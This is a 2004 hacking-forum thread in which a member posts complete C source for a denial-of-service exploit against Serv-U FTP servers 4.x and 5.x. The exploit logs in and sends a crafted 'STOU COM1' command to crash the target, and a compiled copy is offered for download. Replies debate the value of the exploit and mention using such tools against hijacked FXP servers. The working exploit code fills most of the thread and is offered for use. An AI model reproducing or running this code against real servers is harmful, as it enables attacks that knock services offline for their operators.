Forums: Serv-u 4.x %.x Dos Exploit [c] By Cyrex - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Serv-u 4.x %.x Dos Exploit [c] By Cyrex Thanks to Ecko :) and mortello

#1 User is offline   agathos 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 128
  • Joined: 13-October 03

Posted 13 September 2004 - 06:26 PM

Ecko your perl version is good and very good readable :)
mortello your C code is a bit of crap sorry :) but for the first try ok
use the Socket System

here is my C version

/******************************
 * ---------------------------
 *   Serv-U 4.x 5.x 
 *    DOS EXPLOIT
 *   by cyrex@EFNet
 *
 ********
 * Greetz
 * ------
 * 
 * - Ecko ( For his perl version )
 * - mortello ( for his try to code in C :p)
 * - and all others
 *
 *
 * 
 * BUG Discovery:
 * 
 * cyrex@saturn:~$ ./sudos 192.168.1.5 1024 cyrex test
 * ------------------------------------
 * Serv-U 4.x 5.x DOS Exploit
 * by cyrex@EFNet 
 * -------------------------------------
 * [+] - Connection to 192.168.1.5
 * 220 Serv-U FTP Server v5.1 for WinSock ready...
 * 331 User name okay, need password.
 * 230 User logged in, proceed.
 * [+] - Connected.. Sending the last command
 * [*] - Target should now be destroyed..
 * cyrex@saturn:~$
 *
 **************************/

#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define DEBUG

int fd;

int sendtotarget(char *str) { 
	int extern fd;
	int d; char nc[2048];
	sprintf(nc,"%s\r\n",str);
	d=send(fd,nc,strlen(nc),0);
	if (!d) { printf("[-] Cannot send Data\n"); }
	return(0);
}
void help(char *prog) 
{
    printf("------------------------------------\n");
    printf(" Serv-U 4.x 5.x DOS Exploit\n");
    printf(" by cyrex@EFNet\n");
    printf("-------------------------------------\n");
	printf("Usage: %s <servername> <serverport> [username] [password]\n",prog);
	exit(-1);
}	
void conn(char *serv,int port,char *user,char *pass)
{
	struct hostent *he;
	struct sockaddr_in client;
	char buffer[513];
	char check[1024];
	char *pack;
	int forked = 0;
	int b;
	if((he=gethostbyname(serv))==NULL)
	{
 exit(-1);
	}
	if((fd=socket(AF_INET,SOCK_STREAM,0))==-1){
 exit(-1);
	}
	client.sin_family = AF_INET;
	client.sin_port = htons(port);
	client.sin_addr = *((struct in_addr *)he->h_addr);
	if(connect(fd, (struct sockaddr *)&client,sizeof(struct sockaddr))==-1) {
 printf("[*] - Connection to %s Failed\n",serv);
 exit(-1);
	}
	sprintf(buffer,"USER %s",user);
	sendtotarget(buffer);
	sprintf(buffer,"PASS %s",pass);
	sendtotarget(buffer);

	memset(check,"x00",strlen(check));

	recv(fd,check,sizeof(check),0);
#ifdef DEBUG
	printf("%s",check);
#endif
	if(strstr(check,"530")) { 
 printf("[!] - Error Invalid username or Password\n");
 exit(-1);
	} else {

	printf("[+] - Connected.. Sending the last command\n");
	sprintf(buffer,"STOU COM1");
	sendtotarget(buffer);
	printf("[*] - Target should now be destroyed..\n");
 }
}

int main(int argc, char *argv[])
{
	int port;
	printf("------------------------------------\n");
	printf(" Serv-U 4.x 5.x DOS Exploit\n");
	printf(" by cyrex@EFNet\n");
	printf("-------------------------------------\n");
	if((!argv[1]) || (!argv[2]))
	{
 help(argv[0]);
 exit(-1);
	}
	port=atoi(argv[2]);
	printf("[+] - Connection to %s\n",argv[1]);
	conn(argv[1],port,argv[3],argv[4]);
}



Greets cyrex
0

#2 User is offline   mortello 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 408
  • Joined: 25-August 03

Posted 13 September 2004 - 07:00 PM

Good job....and yeah I know my code was not so good....btw read PM :)
0

#3 User is offline   Hellraiseruk 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 141
  • Joined: 11-October 03

Posted 13 September 2004 - 10:30 PM

what is the point of keep making different versions of this so called "exploit" all it is doing is destoying peoples hard work on there servers unless u achuly get a shell :blink:
0

#4 User is offline   Tyrano 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 296
  • Joined: 13-February 04

Posted 13 September 2004 - 10:51 PM

programming practice :D
0

#5 Guest_Paul_*

  • Group: Guests

Posted 13 September 2004 - 11:24 PM

Its about sharing knowledge..
0

#6 User is offline   KuerbY 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 254
  • Joined: 17-July 03

Posted 14 September 2004 - 02:49 AM

its about: "(filtered) the fxp crap"
we hate them we just only hate them :P
and the versions are different...
just dont install servu or a trojan write your own "programs" like cyrex etc etc ;)
0

#7 User is offline   Progressor 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 72
  • Joined: 14-December 03

Posted 14 September 2004 - 04:33 AM

This is a wrong section. This section called "Files downloads", I don't see any file.
0

#8 User is offline   agathos 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 128
  • Joined: 13-October 03

Posted 14 September 2004 - 05:49 AM

Progessor , dont have a own compiler? ;D and it isnt the wrong Section btw
You can download the Source Code or not ? :=)


here the compiled version of mine

Attached File(s)

  • Attached File  sudos.zip (512.93K)
    Number of downloads: 495

0

#9 User is offline   KuerbY 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 254
  • Joined: 17-July 03

Posted 14 September 2004 - 08:46 AM

i dont want to be an ass but...
i dont like compiled exploit, source or nothing i dont trust anyone then myself :P
so i think everyone got a good compiler...
0

#10 Guest_rscience_*

  • Group: Guests

Posted 14 September 2004 - 08:46 AM

grate work dude i will take this and TEST.
0

#11 User is offline   Hellraiseruk 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 141
  • Joined: 11-October 03

Posted 14 September 2004 - 08:59 AM

KuerbY, on Sep 14 2004, 10:49 AM, said:

its about: "(filtered) the fxp crap"
we hate them we just only hate them :P
and the versions are different...
just dont install servu or a trojan write your own "programs" like cyrex etc etc ;)

u hate them? well the fxp scene gets things on to IRC and p2p networks for u little n00bie kids to download just cuz u don't have axx..some gelously :P
0

#12 User is offline   agathos 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 128
  • Joined: 13-October 03

Posted 14 September 2004 - 09:40 AM

fxp scene suc ks very very ;D join site scene
0

#13 User is offline   cyrixx 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 128
  • Joined: 29-November 03

Posted 14 September 2004 - 12:51 PM

but not everyone has the chance to join a site...
0

#14 User is offline   TRi 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 155
  • Joined: 06-March 04

Posted 14 September 2004 - 02:04 PM

All these arrogance in this world, its a shame.

You guys fit perfectly to the 17th centuy, looking down on the normal people above from your high and great palaces. Be lucky of yourself and if you enjoy showing off with it, well then thats your business..
0

#15 User is offline   Ecko 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 220
  • Joined: 02-March 04

Posted 24 September 2004 - 02:50 AM

Hellraiseruk, on Sep 14 2004, 06:30 AM, said:

what is the point of keep making different versions of this so called "exploit" all it is doing is destoying peoples hard work on there servers unless u achuly get a shell :blink:

peoples hard work!? :blink: you mean fxp pplz whick hacked btw. owned :lol: a Server and installed there a ftpd? hm, when that's of hard for u then i don't wanna know whats easy for you :P
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting